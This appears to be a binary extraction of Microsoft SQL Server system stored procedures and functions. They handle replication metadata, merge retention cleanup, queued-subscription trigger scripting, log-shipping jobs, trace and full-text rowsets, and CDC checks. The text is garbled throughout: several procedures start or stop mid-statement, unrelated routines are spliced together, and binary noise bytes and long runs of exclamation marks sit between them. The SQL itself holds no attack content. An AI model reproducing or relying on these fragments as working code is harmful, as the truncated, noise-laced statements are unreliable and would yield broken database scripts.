	WHERE	ihpc.publisher_id = @publisher_id
	  AND	article_id        = @article_id	

	IF @@ERROR <> 0
		RETURN (1)
	
	--
	-- Delete the article
	--
	DELETE	IHarticles 
	FROM	IHarticles ih
	JOIN	MSpublications mspub ON ih.publication_id = mspub.publication_id
	WHERE	mspub.publisher_id = @publisher_id
	  AND	article_id         = @article_id	

	IF @@ERROR <> 0
		RETURN (1)

	--
	-- Delete publisher information if the table is not used by any other articles
	--
	EXEC @retcode = sp_IHflushmetadata	@publisher    = @publisher,
										@source_owner = @source_owner,
										@source_table = @source_table

	IF @@ERROR != 0 OR @retcode != 0
	BEGIN
		RETURN (1)
	END

	-- Update the timestamp in IHpublishers entry to indicate a meta data change
	UPDATE	dbo.IHpublishers
	SET		flush_request_time = GETDATE()
	WHERE	publisher_id = @publisher_id

	IF @@ERROR <> 0
		RETURN (1)

END
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

    select @parameter_name = LTRIM(RTRIM(@parameter_name))
    select @parameter_value = LTRIM(RTRIM(@parameter_value))

    -- DMO sends in empty sting as '(null)'.
    if @parameter_value = N'(null)'
        select @parameter_value = N''

    -- Append leading '-' when not given
    if (substring(@parameter_name, 1, 1) <> '/' and 
        substring(@parameter_name, 1, 1) <> '-')
    BEGIN
        select @parameter_name = N'-' + @parameter_name
    END

    -- Call proc to validate parameter value
    exec @retcode = sys.sp_MSvalidate_agent_parameter 
                        @profile_id = @profile_id, 
                        @parameter_name = @parameter_name,
                        @parameter_value = @parameter_value
    if @retcode <> 0
        RETURN(1)


    select @slash_parameter_name = lower(stuff(@parameter_name, 1, 1, N'/') collate SQL_Latin1_General_CP1_CS_AS)
    select @dash_parameter_name = lower(stuff(@parameter_name, 1, 1, N'-') collate SQL_Latin1_General_CP1_CS_AS)
   
    IF exists ( select * from msdb..MSagent_parameters 
            where profile_id = @profile_id and 
                (lower(parameter_name collate SQL_Latin1_General_CP1_CS_AS) = @slash_parameter_name collate SQL_Latin1_General_CP1_CS_AS or
                 lower(parameter_name collate SQL_Latin1_General_CP1_CS_AS) = @dash_parameter_name collate SQL_Latin1_General_CP1_CS_AS))
    BEGIN
        update msdb..MSagent_parameters set value = @parameter_value where 
            profile_id = @profile_id and 
            (lower(parameter_name collate SQL_Latin1_General_CP1_CS_AS) = @slash_parameter_name collate SQL_Latin1_General_CP1_CS_AS or
            lower(parameter_name collate SQL_Latin1_General_CP1_CS_AS) = @dash_parameter_name collate SQL_Latin1_General_CP1_CS_AS) 

        if @@error <> 0
            return(1)
    END
0_ c8--
-- Name: sp_MScleanupmergepublisherdb
--
-- Description: This procedure is the per-database analogue of 
--              sp_MScleanupmergepublisher and it currently performs the 
--              following function(s):
--              1) Cleans up all the stale dynamic snapshot views
--              in the current database.
--
-- Returns: (undefined)
--
-- Security: Only members of the sysadmin fixed server role can execute this
--           procedure.
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MScleanupmergepublisherdb
as
begin
    set nocount on
    declare @temp_login sysname

    if exists (select * from sys.objects
        where name = 'MSdynamicsnapshotviews')
    begin
        -- Ignore errors
        exec sys.sp_MScleanupdynsnapshotvws
    end

end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<*g
x0=+" 8create function sys.fn_trace_geteventinfo
	(@handle int
	)

returns @tab table(eventid int NOT NULL,
	columnid int NOT NULL)
as
begin
	insert @tab
	select * from OpenRowset(TABLE TRACEEVENTINFO, @handle)

	return
end -- fn_trace_geteventinfo
082@ 8create procedure sys.sp_getsubscriptiondtspackagename (
    @publication sysname,
    @subscriber sysname = NULL
     ) AS

    SET NOCOUNT ON

    declare @name sysname
    declare @name_full sysname
    declare @id    int
    declare @retcode int

    /*
    ** Security Check
    */
    EXEC @retcode = sys.sp_MSreplcheck_publish
    IF @@ERROR <> 0 or @retcode <> 0
        return (1)
    
    select @id = 1
    select @name = @publication
    if @subscriber is not null
        select @name = @name + N'_' + @subscriber

    -- reserver space for numbers to make the name unique
    select @name = substring(@name, 1, 100)
    select @name_full = @name

    while (1=1)
    begin
        if not exists (select * from msdb.dbo.sysdtspackages where
            name = @name_full)
            break
        select @name_full = @name + '_' + convert(nvarchar(10), @id)
        select @id = @id + 1
    end
    select N'new_package_name' = @name_full
0[B1@ s8create procedure sys.sp_delete_log_shipping_alert_job 
as
begin
    set nocount on
    declare @retcode int

    --
    -- security check
    --
    exec @retcode = sys.sp_MSlogshippingsysadmincheck
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- must be invoked from master db
    --
    if (db_name() != N'master')
    begin
        raiserror(5001, 16,-1)
        return 1
    end
    --
    -- call internal proc
    --
    exec @retcode = sys.sp_delete_log_shipping_alert_job_internal 
    --
    -- all done
    --
    return @retcode
end
_vupgrade_replsecurity_metadata', 'master')
		RETURN 1
	END

	-- make sure user has already upgraded msdb
	IF NOT EXISTS(SELECT * 
				FROM msdb.sys.columns 
				WHERE object_id = OBJECT_ID(N'msdb.dbo.sysjobsteps') 
					AND name = N'step_uid')
	BEGIN
		-- "The replication %s could not be upgraded for %s database(s). Please ensure that %s is upgraded and re-execute %s."
		RAISERROR(21450, 16, -1, 'security meta-data', 'all',  'msdb database', 'sp_vupgrade_replsecurity_metadata')
		RETURN 1
	END
	
	BEGIN TRANSACTION
	SAVE TRANSACTION tr_upgrade_security_meta

    DECLARE cursorDatabases CURSOR LOCAL FAST_FORWARD FOR 
    	SELECT DISTINCT HAS_DBACCESS(name),
            	sys.fn_MSrepl_isdistdb(name),
            	N'[' + replace(name, N']', N']]') + N']',
            	name
    		FROM master.dbo.sysdatabases 
    		WHERE name NOT IN ( N'master' COLLATE DATABASE_DEFAULT,
			                    N'tempdb' COLLATE DATABASE_DEFAULT,
			                    N'msdb'   COLLATE DATABASE_DEFAULT,
			                    N'model'  COLLATE DATABASE_DEFAULT
			                    )
    	FOR READ ONLY

	OPEN cursorDatabases

	FETCH cursorDatabases INTO @has_dbaccess, @is_distributiondb, @database, @dbname
	
    WHILE @@FETCH_STATUS != -1
    BEGIN
		IF @has_dbaccess = 1
		BEGIN
			-- if this is a distribution db then upgrade dist meta-data
			IF @is_distributiondb = 1
			BEGIN
				SELECT @statement = N'SELECT @is_upgraded = 0 ' +
									N'IF EXISTS(SELECT * '+
									N'			FROM ' + @database + N'.sys.columns ' +
									N'			WHERE name = N''job_step_uid'') ' +
									N'BEGIN ' +
									N'	SELECT @is_upgraded = 1 ' +
									N'END'

				EXEC @retcode = sys.sp_executesql @statement = @statement, 
													@params = N'@is_upgraded bit OUTPUT', 
													@is_upgraded = @is_upgraded OUTPUT
				IF @@ERROR <> 0 OR @retcode <> 0
						GOTO UNDO

				IF @is_upgraded = 1
				BEGIN
					SELECT @statement = @database + N'.[sys].[sp_MSupgrade_distdb_security_metadata]'

					EXEC @retcode = @statement
					IF @@ERROR <> 0 OR @retcode <> 0
						GOTO UNDO
				END
				ELSE
				BEGIN
					-- "The replication %s could not be upgraded for %s database(s). Please ensure that %s is upgraded and re-execute %s."
					RAISERROR(21450, 10, -1, 'distributor security meta-data', @database,  @database, 'sp_vupgrade_replsecurity_metadata') WITH NOWAIT
				END
				--
				-- Add replmonitor refresh job for this distribution database
				--
				select @agentname = formatmessage (20811, @dbname)
				select @description = @agentname
					,@statement =  N'exec dbo.sp_replmonitorrefreshjob  '
				if not exists (select * from msdb.dbo.sysjobs_view where name = @agentname collate database_default and
							upper(originating_server collate database_default) = upper(convert(sysname, SERVERPROPERTY('ServerName')))
							and master_server = 0)
				BEGIN
					select @category_name = name FROM msdb.dbo.syscategories where category_id = 18
					EXECUTE @retcode = msdb.sys.sp_MSadd_repl_job @agentname,
											@subsystem = 'TSQL',
											@server = @@SERVERNAME,
											@databasename = @dbname,
											@description = @description,
											@freqtype = 64,  -- continuous  
											@freqsubtype = 0,  -- unused
											@freqsubinterval = 0,    -- unused
											@command = @statement,
											@retryattempts = 0,
											@enabled = 0,
											@loghistcompletionlevel = 0,
											@category_name = @category_name
					if @@ERROR <> 0 or @retcode <> 0
					GOTO UNDO
				END
			END

			SELECT @statement = N'SELECT @is_subscriberdb = 0 ' +
									N'IF EXISTS(SELECT * ' +
									N'			FROM ' + @database + N'.sys.objects ' +
									N' 			WHERE name = N''MSsubscription_properties'') ' +
									N'BEGIN ' + 
									N' 	SELECT @is_subscriberdb = 1 ' +
									N'END ' +
									N'SELECT @is_upgraded = 0 ' +
									N'IF EXISTS(SELECT * ' +
									N'			FROM ' + @database + N'.sys.columns ' +
									N'			WHERE name = N''job_step_uid'') ' +
									N'BEGIN ' +
									N'	SELECT @is_upgraded = 1 ' +
									N'END'

			EXEC @retcode = sys.sp_executesql @statement = @statement, 
												@params = N'@is_subscriberdb bit OUTPUT, @is_upgraded bit OUTPUT', 
												@is_subscriberdb = @is_subscriberdb OUTPUT,
												@is_upgraded = @is_upgraded OUTPUT
			IF @@ERROR <> 0 OR @retcode <> 0
					GOTO UNDO

			IF @is_subscriberdb = 1
			BEGIN
				IF @is_upgraded = 1
				BEGIN
					-- always assume this is subscriber db and attempt upgrade sub meta-data
					SELECT @statement = @database + N'.[sys].[sp_MSupgrade_subdb_security_metadata]'
					
					EXEC @retcode = @statement
					IF @@ERROR <> 0 OR @retcode <> 0
						GOTO UNDO
				END
				ELSE
				BEGIN
					-- "The replication %s could not be upgraded for %s database(s). Please ensure that %s is upgraded and re-execute %s."
					RAISERROR(21450, 10, -1, 'subscriber security meta-data', @database,  @database, 'sp_vupgrade_replsecurity_metadata') WITH NOWAIT
				END
			END
		END
		ELSE
		BEGIN
			-- "Could not open database %s. Upgrade of replication %s could not be performed. Please rerun %s from %s database once the %s is accessible."
			RAISERROR(21733, 10, -1, @database, 'security meta-data', 'sp_vupgrade_replsecurity_metadata', '[master]', @database) WITH NOWAIT
		END

		FETCH cursorDatabases INTO @has_dbaccess, @is_distributiondb, @database, @dbname
	END

	CLOSE cursorDatabases
	DEALLOCATE cursorDatabases

	COMMIT TRANSACTION tr_upgrade_security_meta

	RETURN 0
UNDO:
	ROLLBACK TRANSACTION tr_upgrade_security_meta
	COMMIT TRANSACTION 

	RETURN 1
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"|`<X+M)\0xc@ 8create procedure sys.sp_MSscript_begintrig2 
(
    @publisher   sysname
    ,@publisher_db sysname
    ,@publication sysname
    ,@objid       int
    ,@op_type     char(3) = 'ins' -- ins, upd, del
    ,@agent_id    int
    ,@fisqueued      bit = 0 -- 1 = Queued subscription
)
as
BEGIN
    set nocount on
    declare @cmd nvarchar(4000)
                ,@queue_server sysname

    if @op_type = 'ins' 
    begin
        insert into #proctext(procedure_text) values(N'
    if Objectproperty(@@procid,''TriggerInsertOrder'') != 1    
    begin
        declare @trigname sysname
        select @trigname = object_name(@@procid)

        raiserror (21128, 16, 1, @trigname)
        goto FAILURE
    end ')
    end
    else if @op_type = 'upd' 
    begin
        insert into #proctext(procedure_text) values(N'
    if Objectproperty(@@procid,''TriggerUpdateOrder'') != 1    
    begin
        declare @trigname sysname
        select @trigname = object_name(@@procid)

        raiserror (21129, 16, 1, @trigname)
        goto FAILURE
    end ')
    end
    else if @op_type = 'del' 
    begin
        insert into #proctext(procedure_text) values(N'
    if Objectproperty(@@procid,''TriggerDeleteOrder'') != 1
    begin
        declare @trigname sysname
        select @trigname = object_name(@@procid)

        raiserror (21130, 16, 1, @trigname)
        goto FAILURE
    end ')
    end
    --
    -- scripting for getting values from MSsubscription_agents
    --
    select @cmd = N'
    select @update_mode_id = update_mode
            ,@queue_server = queue_server
            ,@queue_id = queue_id
            ,@failover_mode_id = failover_mode        
    from dbo.MSsubscription_agents where id = ' + convert(nvarchar(10), @agent_id) + N' '
    insert into #proctext(procedure_text) values (@cmd)
    --
    -- continue with scripting
    --
    select @cmd = N'
    ' + N'--
    ' + N'-- initialize and validate based on update mode
    ' + N'--
    if (@update_mode_id = 1 or (@update_mode_id in (3,5) and @failover_mode_id = 0))
    begin
        exec @retcode = sys.sp_getpublisherlink @@procid, @connect_string output, @islocalpublisher output  
        if @retcode <>0 or @@error <> 0 
            goto FAILURE
    end'
    insert into #proctext(procedure_text) values (@cmd)
    --
    -- continue with scripting
    --
    if (@fisqueued = 1)
    begin
        --
        -- Queued specific scripting
        --
        select @cmd = N'
    else if (@update_mode_id in (2,4) or (@update_mode_id in (3,5) and @failover_mode_id = 1))
    begin
        if (@queue_id is NULL) 
            goto FAILURE
    end'
        insert into #proctext(procedure_text) values (@cmd)
    end
    --
    -- continue with scripting
    --
    select @cmd = N'
    else if @update_mode_id = 0
    begin
        raiserror (21757, 16, 1)
        goto FAILURE
    end
    else
    begin
        raiserror(21561, 16, 1, ''update_mode'', @update_mode_id)
        goto FAILURE
    end '
    insert into #proctext(procedure_text) values (@cmd)
    --
    -- continue with queued specific scripting
    --
    if (@fisqueued = 1)
    begin        
        select @cmd = N'
    ' + N'--
    ' + N'-- set queue prefix for MSMQ cases
    ' + N'--
    if (@update_mode_id in (2,3))
    begin
        select @queue_id = N''DIRECT=OS:'' + @queue_server + N''\PRIVATE$\'' + @queue_id 
    end'
        insert into #proctext(procedure_text) values (@cmd)
    end
    --
    -- Script initiation of distributed transaction for queued/remote immediate updating
    --
    select @cmd = N'
    ' + N'--
    ' + N'-- Decide if we should start a distributed transaction or local transaction
    ' + N'-- based on update mode, failover state and islocalpublisher
    ' + N'-- '
    insert into #proctext(procedure_text) values (@cmd)
    if (@fisqueued = 1)
    begin
        select @cmd = N'
    if (@update_mode_id = 1 and @islocalpublisher = 1)
        or (@update_mode_id = 3 and @failover_mode_id = 0 and @islocalpublisher = 1) 
        or (@update_mode_id = 4) 
        or (@update_mode_id = 5 and @failover_mode_id = 0 and @islocalpublisher = 1) 
        or (@update_mode_id = 5 and @failover_mode_id = 1) '
        insert into #proctext(procedure_text) values (@cmd)
    end
    else
    begin
        select @cmd = N'
    if (@update_mode_id = 1 and @islocalpublisher = 1) '
        insert into #proctext(procedure_text) values (@cmd)
    end
    --
    -- continue scripting
    --
    select @cmd = N'
    begin
        BEGIN TRAN 
    end
    else
    begin
        SET XACT_ABORT ON
        BEGIN DISTRIBUTED TRAN
    end '
    insert into #proctext(procedure_text) values (@cmd)
    --
    -- continue scripting
    --
    if (@fisqueued = 1)
    begin
        select @cmd = N'
    ' + N'--
    ' + N'-- save the transaction token for later use
    ' + N'--
    exec sys.sp_getbindtoken @out_token = @tran_id OUTPUT , @for_xp_flag = 1 '
        insert into #proctext(procedure_text) values (@cmd)
    end
    --
    -- all done with scripting
    --
    return 0
END
06u@ 8create procedure sys.sp_lightweightmergemetadataretentioncleanup
	@num_rowtrack_rows int = 0 output
as
	declare @delbatchsize	int
	declare @delcount 		int
	declare @retcode		smallint
	
	-- security check
    exec @retcode = sys.sp_MSreplcheck_subscribe 
    if @retcode <> 0 or @@error <> 0 return 1

	set @delbatchsize= 5000
	set @num_rowtrack_rows= 0

	set @delcount= @delbatchsize
	while @delcount = @delbatchsize
	begin
		delete top (@delbatchsize) from dbo.MSmerge_rowtrack
			where 1=sys.fn_MSrowispastretention(tablenick, changed, getdate())

		set @delcount= @@rowcount
		set @num_rowtrack_rows= @num_rowtrack_rows + @delcount
	end
				
	set @delcount= @delbatchsize
	while @delcount = @delbatchsize
	begin
		delete top (@delbatchsize) from dbo.MSmerge_metadataaction_request
			where 1=sys.fn_MSrowispastretention(tablenick, changed, getdate())
	
		set @delcount= @@rowcount
	end
 int

	-- Windows 2003 Server SP1
	SET @w2ksp1 = 0x0ECE0205
	
	-- Initialize platform indicator to 32 bit
	SET @64bit = 0
	
	-- Get version info
	CREATE TABLE #msver
	(
		idx		smallint,
		name		sysname,
		internal_value	varbinary(8),
		character_value nvarchar(120)
	)

	INSERT #msver
	EXEC master.dbo.xp_msver 'WindowsVersion'

	-- Get Windows version
	SELECT	@winver = CONVERT(int, internal_value)
	FROM	#msver
	WHERE	idx = 15
	
	INSERT #msver
	EXEC master.dbo.xp_msver 'Platform'

	-- Get 64 bit indicator	
	SELECT	@64bit = COUNT(*) 
	FROM	#msver
	WHERE	idx = 4
	  AND	character_value like '%64%'

	DROP TABLE #msver

    IF (@publisher_type LIKE N'%.OLEDB')
    BEGIN
        SELECT  @publisher_type = LEFT(@publisher_type, LEN(@publisher_type) - 6),
                @provider = N'OraOLEDB.ORACLE'
    END
    
    ELSE IF (@publisher_type LIKE N'%.MSDAORA')
    BEGIN
        SELECT  @publisher_type = LEFT(@publisher_type, LEN(@publisher_type) - 8),
                @provider = N'MSDAORA'
    END

    ELSE IF @64bit <> 0
    BEGIN
        SELECT @provider = N'OraOLEDB.ORACLE'
    END
    ELSE
    BEGIN
    	SELECT @provider = N'MSDAORA'
    END

    return (0)
END
0!@ 98
create procedure sys.sp_MSLockMatchID  
(
@qualified_name nvarchar(517)
,@tabid int
)
with execute as 'dbo'
as
begin
	EXEC %%Object(MultiName = @qualified_name).LockMatchID(ID = @tabid, Exclusive = 1, BindInternal = 0)
	IF @@ERROR <> 0
		return (1)
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`[	<
q= \O0= e8
create procedure sys.sp_xml_schema_rowset
(
    @collection_name    sysname,
    @schema_name        sysname = null,
    @target_namespace   sysname = null
)
as
    select
        SCHEMACOLLECTION_CATALOGNAME    = xsv.SCHEMACOLLECTION_CATALOGNAME,
        SCHEMACOLLECTION_SCHEMANAME     = xsv.SCHEMACOLLECTION_SCHEMANAME,
        SCHEMACOLLECTIONNAME            = xsv.SCHEMACOLLECTIONNAME,
        TARGETNAMESPACEURI              = xsv.TARGETNAMESPACEURI,
        SCHEMACONTENT                   = xsv.SCHEMACONTENT

    from
        sys.spt_xml_schema_view xsv

    where
        xsv.schemacollectionname = @collection_name and
        (@schema_name is null or xsv.schema_id = schema_id(@schema_name)) and
        (@target_namespace is null or @target_namespace = xsv.targetnamespaceuri)

    order by 1,2,3,4
03I D8eh*}0{R 8CREATE FUNCTION sys.fn_ftcatcomponents(@dumpsystem int, @dbid int, @fileid int)
RETURNS TABLE
AS
	RETURN SELECT * FROM OpenRowset(TABLE FTCATCOMPONENTS, @dumpsystem, @dbid, @fileid)
0!E d8
--
-- Name:    
--          fn_IHgetpubid
--          
-- Description: 
--          HREPL helper proc to get a publication id
--			when given publication name and publisher
--  
-- Security: 
--          Internal
-- Requires Certificate signature for catalog access
--
-- Returns:
--          NULL	== no matching publication
--			pubid	== matching publication id
--      
-- Owner:   
--          <current owner> 

CREATE FUNCTION sys.fn_IHgetpubid
(
	@publication    sysname,
	@publisher		sysname, 
	@publisher_type	sysname
)
RETURNS @retPubs TABLE
(
	pubid	int
)
AS
BEGIN
	DECLARE @retcode int
	
	-- Determine the publisher type if not given
	IF @publisher_type IS NULL
	BEGIN
		EXEC @retcode = sys.sp_MSrepl_getdistributorinfo	@publisher      = @publisher,
											   				@publisher_type = @publisher_type OUTPUT

		IF @retcode <> 0 OR @@ERROR <> 0
		BEGIN
			RETURN
		END
	END
	
	-- Make sure not in distribution db or HREPL
    IF @publisher_type = N'MSSQLSERVER' AND sys.fn_MSrepl_isdistdb(db_name()) = 0
    BEGIN
		INSERT INTO @retPubs
	    SELECT	pubid
		FROM	syspublications
		WHERE	((@publication = N'%') or (name = @publication))
		
	END
	ELSE
	BEGIN
		INSERT INTO @retPubs
		SELECT	sp.pubid
		FROM	syspublications sp,
				MSpublications msp,
				master.dbo.sysservers ss
		WHERE	sp.pubid = msp.publication_id
		AND		msp.publisher_id = ss.srvid
		AND		UPPER(ss.srvname collate database_default) = UPPER(@publisher) collate database_default
		AND		((@publication = N'%') or (sp.name = @publication))
	END
	
	RETURN
END
0? v8CREATE PROCEDURE sys.sp_MSchange_subscription_dts_info 
(
    @job_id varbinary(16),
    @dts_package_name sysname,
    @dts_package_password nvarchar(524),
    @dts_package_location int,
    @change_password bit
) 
AS
begin
    /*
    ** Declarations.
    */
    declare @subscriber sysname
    declare @publisher sysname
    declare @subscriber_id smallint
    declare @publisher_id smallint

    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    --
    -- security check
    -- Has to be executed from distribution database
    --
    if (sys.fn_MSrepl_isdistdb (db_name()) != 1)
    begin
        raiserror(21482, 16, -1, 'sp_MSchange_subscription_dts_info', 'distribution')
        return (1)
    end
    /*
    ** Initializations.
    */
    SET NOCOUNT ON
    
	select @subscriber_id = subscriber_id, @publisher_id = publisher_id 
		from MSdistribution_agents where 
		job_id = @job_id
	
	select @subscriber = srvname from master.dbo.sysservers where srvid = @subscriber_id
	select @publisher = srvname from master.dbo.sysservers where srvid = @publisher_id

	declare @oledb_subscriber tinyint
	select @oledb_subscriber = 3
	
	-- Only SQL Server and OLEDB subscriber support dts
	if not exists (select * from MSsubscriber_info where 
		UPPER(publisher) = UPPER(@publisher) and 
		UPPER(subscriber) = UPPER(@subscriber) and
		(type = 0 or type = @oledb_subscriber))
	begin
		raiserror(21170, 16, -1)
		return 1
	end
	
	
	update MSdistribution_agents set
		dts_package_name = case 
			when @dts_package_name is null then dts_package_name
			when @dts_package_name = N'' then null
			else @dts_package_name
			end, 
		dts_package_password = case @change_password
			when 0 then dts_package_password
			else @dts_package_password
			end, 
		dts_package_location = case
			when @dts_package_location is null then dts_package_location
			else @dts_package_location
			end
		where
			job_id = @job_id

    RETURN (0)
end
0
? |8
create function sys.fn_cdc_dropped_tables()
returns bit
as
begin
	
	if object_id('cdc.change_tables') is not NULL
	begin
		if exists
		(
			select top 1 object_id from [cdc].[change_tables] with (index = source_object_id_idx) 
			where object_name(source_object_id) is null
		) 
		begin
			return 1
		end
	end	

	return 0	
end
0D 88HS
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!	9G`[	<	cwW&0 @ 8create procedure sys.sp_MScreatenewreplnick
    @replnick_old binary(6),
    @replnick_new binary(6)
as
    declare @repid_new uniqueidentifier
    declare @pubid_new uniqueidentifier
    
    -- After restore, the replica has a new replnick. However, we need to preserve
    -- knowledge about the previous replnick, in order to do priority resolution.
    -- For that purpose, we create a new entry in MSmerge_replinfo/sysmergesubscriptions.
    -- The entry with the changed replnick would not flow to other replicas, because
    -- its subid is already known there. Therefore, we create an additional new entry,
    -- which has the new replnick, but also a new subid.
    -- These two additional entrie both get status=7, to distinguish them from the entries
    -- that represent an actual replica.
    --
    -- Example:
    -- Original situation: 
    --      repid_1, subid_1, pubid_1, replnick_1, status=1
    -- Resulting situation:
    --      a) repid_1, subid_1, pubid_1, replnick_2, status=1
    --      b) repid_2, subid_2, pubid_2, replnick_1, status=7
    --      c) repid_3, subid_3, pubid_3, replnick_2, status=7
    --
    -- This creation of two additional entries is not done for every existing entry
    -- with replnick_1, but only for one of them, because the only purpose is to preserve
    -- knowledge about the replnick.

    -- Make a temporary copy of the sysmergesubscriptions entry that has the old nickname.
    select top 1 * into #sm
        from dbo.sysmergesubscriptions where replnickname = @replnick_old and status <> 7 -- REPLICA_STATUS_BeforeRestore

    -- get the corresponding MSmerge_replinfo entry 
    select top 1 * into #ri from dbo.MSmerge_replinfo where repid in (select subid from #sm)

    update #sm
        set status= 7 -- REPLICA_STATUS_BeforeRestore

    -- Update the nicknames of the actual replicas. ("a" in the example.)
    update dbo.sysmergesubscriptions
        set replnickname= @replnick_new
        where replnickname = @replnick_old and
